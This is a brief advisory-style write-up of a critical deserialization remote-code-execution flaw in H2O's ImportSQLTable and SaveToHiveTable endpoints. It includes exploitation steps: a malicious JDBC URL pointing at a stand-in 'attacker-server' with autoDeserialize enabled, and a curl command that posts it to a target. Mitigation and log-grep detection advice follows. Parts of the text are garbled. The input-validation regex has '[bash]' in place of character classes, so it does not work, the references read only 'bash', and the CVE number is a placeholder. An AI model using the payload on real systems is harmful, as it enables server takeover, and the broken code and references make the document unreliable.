H2O, Deserialization of Untrusted Data, CVE-2025-XXXX (Critical)

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How the CVE Works:

The vulnerability in H2O (CVE-2025-XXXX) arises due to improper handling of user-supplied data in the REST API endpoints `POST /99/ImportSQLTable` and POST /3/SaveToHiveTable. Attackers can exploit this by crafting malicious JDBC URLs that are passed to DriverManager.getConnection. When a MySQL or PostgreSQL driver is present in the classpath, the deserialization of untrusted data occurs, allowing remote code execution. This flaw exists in H2O versions 3.46.0.4 and is patched in version 3.46.0.6. The lack of authentication checks exacerbates the issue, making it critical.

DailyCVE Form:

Platform: H2O
Version: 3.46.0.4
Vulnerability: Deserialization RCE
Severity: Critical
Date: Mar 20, 2025

What Undercode Say:

Exploitation:

1. Craft Malicious JDBC URL:

Attackers can create a JDBC URL pointing to a malicious server hosting a serialized payload.

Example: `jdbc:mysql://attacker-server:3306/malicious_db?autoDeserialize=true`

2. Send Payload to Vulnerable Endpoint:

Use tools like `curl` or Python scripts to send the crafted URL to the vulnerable endpoints.

Example:

curl -X POST http://target:54321/99/ImportSQLTable -d 'jdbc_url=jdbc:mysql://attacker-server:3306/malicious_db'

3. Trigger Deserialization:

The H2O server deserializes the payload, executing arbitrary code on the server.

Protection:

1. Update to Patched Version:

Upgrade to H2O version 3.46.0.6 or later.

pip install h2o==3.46.0.6

2. Input Validation:

Validate and sanitize JDBC URLs to prevent malicious inputs.

Example:

import re
def validate_jdbc_url(url):
if not re.match(r'^jdbc:(mysql|postgresql)://[bash]+:[bash]+/[bash]+$', url):
raise ValueError("Invalid JDBC URL")

3. Restrict Network Access:

Limit access to the H2O REST API to trusted IPs using firewalls or security groups.

4. Disable Unused Drivers:

Remove unused JDBC drivers from the classpath to reduce attack surface.

5. Monitor Logs:

Regularly monitor logs for unusual activity or unauthorized access attempts.

Detection:

  • Use tools like `grep` to search for suspicious JDBC URLs in logs:
    grep -i "jdbc:mysql" /var/log/h2o.log
    
  • Deploy intrusion detection systems (IDS) to flag deserialization attempts.

References:

  • bash
  • bash
    By following these steps, organizations can mitigate the risk posed by this critical vulnerability.

References:

Reported By: https://github.com/advisories/GHSA-h7xg-cmpp-48hf
Extra Source Hub:
Undercode

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